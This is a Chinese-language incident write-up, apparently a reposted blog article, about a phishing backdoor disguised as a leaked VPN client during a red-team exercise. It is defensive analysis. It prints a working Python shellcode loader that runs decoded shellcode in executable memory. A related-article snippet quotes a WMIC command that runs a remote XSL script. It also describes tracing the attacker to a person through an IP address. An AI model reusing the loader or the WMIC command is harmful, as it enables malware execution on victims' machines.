实战 | 记一次某次攻防演练种的分析溯源

VSole2022-07-14 08:01:12

在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。

下面展开有趣的分析溯源过程。

0x01 信息收集

GIthub信息泄漏

根据甲方信息进行常规的Github敏感信息收集偶然发现一个仓库不简单

这不是mysql账号密码泄漏了吗,愉快的打开Navicat

失败....于是访问源码的8080端口查看一番,发现一个管理后台

弱口令

针对后台尝试一波弱口令,admin/admin 嗯~进来了

进来之后竟然发现账号密码而且客户端解压密码都贴心的放了出来

到这里我竟然没有察觉到任何异常,以为能够拿到VPN入口权限;抓紧下载VPN客户端。

解压出来这个样子,emmm。。还没发现异常

0x02 分析溯源

还好有谨慎的习惯,放入虚拟机瞅瞅。

哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。

包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin

由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。

解包

python3 pyinstxtractor.py vpnclient64.exe

生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据

PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要自己添加回去。

添加头

根据struct.py文件

源码

得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码隐藏至图片中。

通过requests请求OSS存储中的图片,图片内容为shellcode加载器。

shellcodeLoader部分

import base64
import ctypes
str = b''
sc_base64 = (base64.a85decode(str)).decode('utf-8')
shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8')))
ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0),
                                             ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

知道shellcodeloader加载方式就好办了,提取CS回连地址。

溯源

回连地址:Host: cs.xxx.cn

nslookup解析地址

根据IP地址定位在某宿舍

直接溯源到人,tg结合一波。

0x03 总结

在攻防演练过程中一定要小心,防止被钓鱼。另外这个钓鱼的兄弟已经小本本记下了。。。

本文转载:HACK学习君

原文地址:自先知社区、https://xz.aliyun.com/t/11275

作者:kat

base64溯源
本作品采用《CC 协议》,转载必须注明作者和本文链接
溯源排查中比较重要的一环是web突破口排查,攻击者通过web突破口入侵时,有极大的概率会写入webshell,本文介绍下常见的webshell排查方法和流程。
通过监测设备发现一个攻击IP,其资产为某药房企业,疑似为红队跳板,经过溯源,最终确定为该IP为红队跳板,感觉本次溯源有不少收获,且很有意思,因此将溯源过程记录下来。
在2021hw期间,通过监测设备发现一个攻击IP,其资产为某药房企业,疑似为红队跳板,经过溯源,最终确定为该IP为红队跳板,感觉本次溯源有不少收获,且很有意思,因此将溯源过程记录下来。
记一次有趣的溯源
2022-08-05 08:40:49
在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。
记一次实战溯源
2022-05-12 08:22:05
解压出来这个样子,emmm。。还没发现异常0x02 分析溯源还好有谨慎的习惯,放入虚拟机瞅瞅。
云函数简介 云函数是腾讯云为企业和开发者们提供的无服务器执行环境,可以无需购买和管理服务器的情况下运行代码。只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF是实时文件处理和数据处理等场景下理想的计算平台。服务端配置云函数基础配置选择自定义创建,地域自选,部署模式,代码部署,运行环境Python3.6,其余默认即可。
前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示: C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"
在某次攻防演练信息收集的过程中,偶然发现伪装Github信息泄漏进而钓鱼红队人员的后门。解压出来这个样子,emmm。。还没发现异常分析溯源还好有谨慎的习惯,放入虚拟机瞅瞅。哦豁,竟然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。感觉到前面的打点由过于丝滑,不自然的警觉了起来。包括前面弱口令的提交方式竟然为admin.php?user=admin&passwd=admin由于发现VPN客户端为python语言编写,更不对劲了,反编译看下。知道shellcodeloader加载方式就好办了,提取CS回连地址。
攻防演练中的分析溯源
VSole
网络安全专家